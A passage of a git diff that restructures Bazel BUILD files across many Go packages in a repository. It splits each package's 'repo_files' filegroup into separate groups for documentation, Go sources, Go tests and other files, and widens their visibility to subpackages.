(`TestCheckTestingShortPassesOnCleanRepoTree`) | +| PR Policy: `check-testing-short.sh` | `//scripts:go_sources_test` (`TestCheckTestingShortPassesOnCleanRepoTree`) | | PR Policy: workapi frontend boundary | `//scripts/repochecks:workapi_frontend_boundary_test` | | PR Policy: `make api-check` drift | `//scripts/repochecks:types_gen_drift_test`; its `go test ./internal/httpapi/...` half is the httpapi targets in the same lane | | PR Policy / check-doc-flags: `check-doc-freshness.sh` | `//scripts/repochecks:doc_freshness_test` | diff --git a/format/BUILD.bazel b/format/BUILD.bazel index 5d295c6c6..920b2d461 100644 --- a/format/BUILD.bazel +++ b/format/BUILD.bazel @@ -21,12 +21,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -35,7 +74,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/ado/BUILD.bazel b/internal/ado/BUILD.bazel index 6f94e9775..f21cd61ed 100644 --- a/internal/ado/BUILD.bazel +++ b/internal/ado/BUILD.bazel @@ -53,12 +53,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -67,7 +106,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/atomicfile/BUILD.bazel b/internal/atomicfile/BUILD.bazel index ed52ef940..ca5c51c3a 100644 --- a/internal/atomicfile/BUILD.bazel +++ b/internal/atomicfile/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/audit/BUILD.bazel b/internal/audit/BUILD.bazel index 1cd6e6352..c6cc782c5 100644 --- a/internal/audit/BUILD.bazel +++ b/internal/audit/BUILD.bazel @@ -23,12 +23,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index 27c6349c1..f231d1a90 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -61,12 +61,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -75,7 +114,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/ceiling/BUILD.bazel b/internal/ceiling/BUILD.bazel index 7de0ab073..bd1679cf3 100644 --- a/internal/ceiling/BUILD.bazel +++ b/internal/ceiling/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/compact/BUILD.bazel b/internal/compact/BUILD.bazel index 3ff08a678..412850425 100644 --- a/internal/compact/BUILD.bazel +++ b/internal/compact/BUILD.bazel @@ -44,12 +44,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -58,7 +97,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel index f2c2496a1..d3f96ab1e 100644 --- a/internal/config/BUILD.bazel +++ b/internal/config/BUILD.bazel @@ -71,12 +71,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -85,7 +124,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/configfile/BUILD.bazel b/internal/configfile/BUILD.bazel index 0d67a72a5..8e3dc50ba 100644 --- a/internal/configfile/BUILD.bazel +++ b/internal/configfile/BUILD.bazel @@ -36,12 +36,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -50,7 +89,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/creds/BUILD.bazel b/internal/creds/BUILD.bazel index ad796d4c1..950107cc8 100644 --- a/internal/creds/BUILD.bazel +++ b/internal/creds/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/debug/BUILD.bazel b/internal/debug/BUILD.bazel index f23f1e5c8..41622cf53 100644 --- a/internal/debug/BUILD.bazel +++ b/internal/debug/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/doltremote/BUILD.bazel b/internal/doltremote/BUILD.bazel index d0299f657..071ef320d 100644 --- a/internal/doltremote/BUILD.bazel +++ b/internal/doltremote/BUILD.bazel @@ -23,12 +23,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index 7fd648465..c1a3fe5c9 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -197,12 +197,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -211,7 +250,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/doltversion/BUILD.bazel b/internal/doltversion/BUILD.bazel index d49ef74b1..b4a71ebc9 100644 --- a/internal/doltversion/BUILD.bazel +++ b/internal/doltversion/BUILD.bazel @@ -30,12 +30,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/eventsjournal/BUILD.bazel b/internal/eventsjournal/BUILD.bazel index 2b16a7c91..f2f9f8d85 100644 --- a/internal/eventsjournal/BUILD.bazel +++ b/internal/eventsjournal/BUILD.bazel @@ -33,12 +33,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/execenv/BUILD.bazel b/internal/execenv/BUILD.bazel index 7ab55c24f..583409cf8 100644 --- a/internal/execenv/BUILD.bazel +++ b/internal/execenv/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/fdhygiene/BUILD.bazel b/internal/fdhygiene/BUILD.bazel index ef2066d5a..388486b06 100644 --- a/internal/fdhygiene/BUILD.bazel +++ b/internal/fdhygiene/BUILD.bazel @@ -92,12 +92,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -106,7 +145,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel index a7377a78d..7eaf0ac9c 100644 --- a/internal/formula/BUILD.bazel +++ b/internal/formula/BUILD.bazel @@ -55,12 +55,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -69,7 +108,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/formula/cmd/schemagen/BUILD.bazel b/internal/formula/cmd/schemagen/BUILD.bazel index aa9497029..65099f5f3 100644 --- a/internal/formula/cmd/schemagen/BUILD.bazel +++ b/internal/formula/cmd/schemagen/BUILD.bazel @@ -17,12 +17,51 @@ go_binary( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/formula/schemagen/BUILD.bazel b/internal/formula/schemagen/BUILD.bazel index fdcbe2f97..d37f04761 100644 --- a/internal/formula/schemagen/BUILD.bazel +++ b/internal/formula/schemagen/BUILD.bazel @@ -10,12 +10,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -24,7 +63,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel index e36e0ec55..3a7da4a9d 100644 --- a/internal/git/BUILD.bazel +++ b/internal/git/BUILD.bazel @@ -25,12 +25,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gitenv/BUILD.bazel b/internal/gitenv/BUILD.bazel index b9317dac6..d87d84ee6 100644 --- a/internal/gitenv/BUILD.bazel +++ b/internal/gitenv/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/githooksenv/BUILD.bazel b/internal/githooksenv/BUILD.bazel index 0dfbf2c9b..ef95ce5a2 100644 --- a/internal/githooksenv/BUILD.bazel +++ b/internal/githooksenv/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/github/BUILD.bazel b/internal/github/BUILD.bazel index 8062dd22a..309a1d401 100644 --- a/internal/github/BUILD.bazel +++ b/internal/github/BUILD.bazel @@ -42,12 +42,51 @@ 